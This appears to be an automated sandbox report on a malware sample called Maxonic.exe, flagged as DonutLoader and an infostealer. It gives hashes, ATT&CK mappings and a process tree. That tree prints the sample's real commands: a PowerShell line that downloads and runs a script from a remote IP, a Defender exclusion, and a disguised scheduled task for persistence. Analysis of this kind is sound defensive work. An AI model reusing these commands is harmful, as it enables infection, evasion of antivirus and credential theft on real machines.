Analysis
- max time kernel
298s - max time network
155s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20251017-en - resource tags
arch:x64arch:x86image:win10ltsc2021-20251017-enlocale:en-usos:windows10-ltsc_2021-x64system - submitted
22/11/2025, 14:38
Static task
static1
Behavioral task
behavioral1
Sample
Maxonic.exe
Resource
win10v2004-20251016-en
Behavioral task
behavioral2
Sample
Maxonic.exe
Resource
win10ltsc2021-20251017-en
Behavioral task
behavioral3
Sample
Maxonic.exe
Resource
win11-20251015-en
General
- Target Maxonic.exe
- Size 191KB
- Sample251122-rzsatstjer
- SHA256 658d3acfc7e71d6b3451973ab8c207dca57264f9b17fc9e37c8b7a1e46561489
- MD5 406b19cce1916b77a34537f4cc7cd19c
- SHA1 1f9e3d5203912defb6bbe9ffc7eacaa8a55fa8d8
- SHA512 2c2b9f64734fc20d69249b095358791d5c0e18051e0613b6f2b3a33e6b1882a42db80d4e1bac1d5a827b4e7357809d24848fbb2af055edb8f4cd3097cefbe257
- SSDEEP 3072:Ge3Co6YLc3fyoqvKBZmnn61Vh4pRPjISSU76gtPEzbiV0a8ko61fjAZf:GdYQ3z5BZmqVhiZjugVEsZjAZf
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Detects DonutLoader 1 IoCs
resource yara_rule behavioral2/memory/2912-4-0x0000024ADF3B0000-0x0000024ADF472000-memory.dmp family_donutloader - DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Donutloader family
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 25 3564 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1948 powershell.exe - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1659235647-4126961737-859461056-1000\Control Panel\International\Geo\Nation Maxonic.exe Key value queried \REGISTRY\USER\S-1-5-21-1659235647-4126961737-859461056-1000\Control Panel\International\Geo\Nation app.exe - Executes dropped EXE 2 IoCs
pid Process 4088 app.exe 2604 ServiceHostApp.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 5376 dotnet.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Maxonic.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Maxonic.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1624 schtasks.exe - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2912 Maxonic.exe 2912 Maxonic.exe 3564 powershell.exe 3564 powershell.exe 4088 app.exe 1948 powershell.exe 1948 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3564 powershell.exe Token: SeIncreaseQuotaPrivilege 3564 powershell.exe Token: SeSecurityPrivilege 3564 powershell.exe Token: SeTakeOwnershipPrivilege 3564 powershell.exe Token: SeLoadDriverPrivilege 3564 powershell.exe Token: SeSystemProfilePrivilege 3564 powershell.exe Token: SeSystemtimePrivilege 3564 powershell.exe Token: SeProfSingleProcessPrivilege 3564 powershell.exe Token: SeIncBasePriorityPrivilege 3564 powershell.exe Token: SeCreatePagefilePrivilege 3564 powershell.exe Token: SeBackupPrivilege 3564 powershell.exe Token: SeRestorePrivilege 3564 powershell.exe Token: SeShutdownPrivilege 3564 powershell.exe Token: SeDebugPrivilege 3564 powershell.exe Token: SeSystemEnvironmentPrivilege 3564 powershell.exe Token: SeRemoteShutdownPrivilege 3564 powershell.exe Token: SeUndockPrivilege 3564 powershell.exe Token: SeManageVolumePrivilege 3564 powershell.exe Token: 33 3564 powershell.exe Token: 34 3564 powershell.exe Token: 35 3564 powershell.exe Token: 36 3564 powershell.exe Token: SeIncreaseQuotaPrivilege 3564 powershell.exe Token: SeSecurityPrivilege 3564 powershell.exe Token: SeTakeOwnershipPrivilege 3564 powershell.exe Token: SeLoadDriverPrivilege 3564 powershell.exe Token: SeSystemProfilePrivilege 3564 powershell.exe Token: SeSystemtimePrivilege 3564 powershell.exe Token: SeProfSingleProcessPrivilege 3564 powershell.exe Token: SeIncBasePriorityPrivilege 3564 powershell.exe Token: SeCreatePagefilePrivilege 3564 powershell.exe Token: SeBackupPrivilege 3564 powershell.exe Token: SeRestorePrivilege 3564 powershell.exe Token: SeShutdownPrivilege 3564 powershell.exe Token: SeDebugPrivilege 3564 powershell.exe Token: SeSystemEnvironmentPrivilege 3564 powershell.exe Token: SeRemoteShutdownPrivilege 3564 powershell.exe Token: SeUndockPrivilege 3564 powershell.exe Token: SeManageVolumePrivilege 3564 powershell.exe Token: 33 3564 powershell.exe Token: 34 3564 powershell.exe Token: 35 3564 powershell.exe Token: 36 3564 powershell.exe Token: SeIncreaseQuotaPrivilege 3564 powershell.exe Token: SeSecurityPrivilege 3564 powershell.exe Token: SeTakeOwnershipPrivilege 3564 powershell.exe Token: SeLoadDriverPrivilege 3564 powershell.exe Token: SeSystemProfilePrivilege 3564 powershell.exe Token: SeSystemtimePrivilege 3564 powershell.exe Token: SeProfSingleProcessPrivilege 3564 powershell.exe Token: SeIncBasePriorityPrivilege 3564 powershell.exe Token: SeCreatePagefilePrivilege 3564 powershell.exe Token: SeBackupPrivilege 3564 powershell.exe Token: SeRestorePrivilege 3564 powershell.exe Token: SeShutdownPrivilege 3564 powershell.exe Token: SeDebugPrivilege 3564 powershell.exe Token: SeSystemEnvironmentPrivilege 3564 powershell.exe Token: SeRemoteShutdownPrivilege 3564 powershell.exe Token: SeUndockPrivilege 3564 powershell.exe Token: SeManageVolumePrivilege 3564 powershell.exe Token: 33 3564 powershell.exe Token: 34 3564 powershell.exe Token: 35 3564 powershell.exe Token: 36 3564 powershell.exe - Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 2912 wrote to memory of 1524 2912 Maxonic.exe 86 PID 2912 wrote to memory of 1524 2912 Maxonic.exe 86 PID 2912 wrote to memory of 1524 2912 Maxonic.exe 86 PID 2912 wrote to memory of 1656 2912 Maxonic.exe 88 PID 2912 wrote to memory of 1656 2912 Maxonic.exe 88 PID 2912 wrote to memory of 1656 2912 Maxonic.exe 88 PID 2912 wrote to memory of 3564 2912 Maxonic.exe 90 PID 2912 wrote to memory of 3564 2912 Maxonic.exe 90 PID 2912 wrote to memory of 3564 2912 Maxonic.exe 90 PID 3564 wrote to memory of 5376 3564 powershell.exe 94 PID 3564 wrote to memory of 5376 3564 powershell.exe 94 PID 3564 wrote to memory of 4088 3564 powershell.exe 95 PID 3564 wrote to memory of 4088 3564 powershell.exe 95 PID 4088 wrote to memory of 1948 4088 app.exe 96 PID 4088 wrote to memory of 1948 4088 app.exe 96 PID 4088 wrote to memory of 1624 4088 app.exe 98 PID 4088 wrote to memory of 1624 4088 app.exe 98 PID 4088 wrote to memory of 2604 4088 app.exe 100 PID 4088 wrote to memory of 2604 4088 app.exe 100 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\Maxonic.exe"C:\Users\Admin\AppData\Local\Temp\Maxonic.exe"1⤵
- Checks computer location settings
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2912 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵PID:1524
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵PID:1656
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "iwr http://95.217.39.238/ooewqi.ps1 |iex"2⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3564 -
C:\Program Files\dotnet\dotnet.exe"C:\Program Files\dotnet\dotnet.exe" --list-runtimes3⤵
- System Time Discovery
PID:5376
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C:\Users\Admin\AppData\Local\Microsoft\Updater\app.exe"C:\Users\Admin\AppData\Local\Microsoft\Updater\app.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4088 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Services' -Force"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1948
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "MicrosoftWindowsServiceHost" /tr "'C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\ServiceHostApp.exe'" /sc onlogon /rl highest /f4⤵
- Scheduled Task/Job: Scheduled Task
PID:1624
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C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\ServiceHostApp.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\ServiceHostApp.exe"4⤵
- Executes dropped EXE
PID:2604
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C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵PID:4916
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C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵PID:4736
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\BA41D407-1BFC-3283-501F-04DB18B78CB3.txt
- Size 64B
- SHA256 25edb4bfd739a9c167180e02fcca65384f3f80575b5be0a99f3c1c5f5ee01cf5
- MD5 d154c2cba1de27494711f74b3791d6be
- SHA1 52debe667f5808a7821bc395704ed26eb65516b4
- SHA512 4fcf052360f9080692c3df26bb38de6e93479256a8a785c6d04d25fcb8b531956cc5f18b845b729b397456144df1b623aa13bab59680996c175c703c2034ed46
- MD5 SHA1 SHA512
- Path C:\ProgramData\BA41D407-1BFC-3283-501F-04DB18B78CB3.txt
- Size 64B
- SHA256 1305b7a640e6370d67e0ecb7011206e45dda7b9cb4c29e8e5a6070ed349b30fa
- MD5 ef0addd4bf32763a092b23b6e8abac0e
- SHA1 16164adc9891e6fc6b26a798d112ce51406590d4
- SHA512 6e7bb4551f87f3a056b862785f3a2d56434d06bef94b8ac94063c21d8f416bd984e364e3bc91a46b8d93be46c34726cc0d49dcd6140e9b35d44de60deefdcb36
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Updater\app.exe
- Size 5.9MB
- SHA256 469e0027cb53e2ba2bfe66d4aac3ea456fe4e91efbd11b631db252a9a1b02a8e
- MD5 a70559acd5a04769bc6db0f62c0167ed
- SHA1 ce4cd6b25852f3e466f41acf2c9ecbe6a828b0fc
- SHA512 ea9d0ef96471b5d5152b6333c26df877ab468594a6310a3051a32db21e5f64f9f417e75c43dde9540c64d57131f0ff39f53763899dcf77ada40c3ae89192e8a0
- SSDEEP 49152:1k8XRMl3yZam5alpjIvy3T6saP5/0rQHolrnmPvTNm/yXXp2qTdzg3m7j3Wa14xe:E05oIvjmQHgnmPLU/BCj3+Ord
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 23KB
- SHA256 08d80a4f0aec78f3215e2855042ba5740fc56cfb006cc671f9c6f8cd73ba230a
- MD5 09fa972f5ca58205f65316813ef794ca
- SHA1 ac3e7724a6a4e5bee8b2ab39ae29a7458eeae8c3
- SHA512 7d9dbf1c4415544b5da988f27b72eb0804bca444559066d72fc42b7f62e871284d42a60dbada827a87e68ef3658e21c4cdfc2c1598ed9a879718e3215c165512
- SSDEEP 384:nwfgWZwaoeUODflcs2du4CchRXu1uTheRZ3vq1Jz1B8Cy8iuKj27TYQB55V8qN4E:wfnwPeUil2ATchM1fyT4b8FO27TjL5X
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_azsq0jix.ads.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512